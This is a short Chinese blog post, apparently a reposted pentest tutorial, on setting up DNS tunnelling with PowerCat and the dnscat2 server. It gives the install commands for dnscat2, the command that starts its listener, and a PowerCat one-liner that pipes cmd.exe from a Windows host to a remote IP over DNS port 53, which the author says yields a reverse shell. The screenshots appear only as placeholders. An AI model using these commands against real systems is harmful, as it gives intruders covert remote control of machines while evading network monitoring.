码迷,mamicode.com
首页 > 其他好文 > 详细

PowerCat DNS 隧道通信

时间:2020-02-02 11:42:35      阅读:91      评论:0      收藏:0      [点我收藏+]

标签:反弹shell   data   表示   serve   协议   linu   exe   http   note   

powercat 也是一套基于 DNS 通信协议的工具。Powercat的dns的通信是基于dnscat设计的(其服务端就是dnscat)。在使用dnscat时需要进行下载和编译。
dnscat服务端安装:
#git clone https://github.com/iagox86/dnscat2.git
#cd dnscat2/server
#sudo gem install bundler
#sudo bundle install
#sudo ruby ./dnscat2.rb
然后在安装了dnscat的linux主机上执行如下命令
ruby dnscat2.rb ttpowercat.test -e open --no-cache
技术图片
执行以上命令后,返回windows主机,执行如下命令:
powercat -c 192.168.190.112 -p 53 -dns ttpowercat.test -e cmd.exe
可以看到dnscat上的已经接收到反弹shell了(-dns参数表示使用dns通信)
技术图片
dnscat 常用命令如下:
技术图片
 

PowerCat DNS 隧道通信

标签:反弹shell   data   表示   serve   协议   linu   exe   http   note   

原文地址:https://www.cnblogs.com/micr067/p/12251269.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!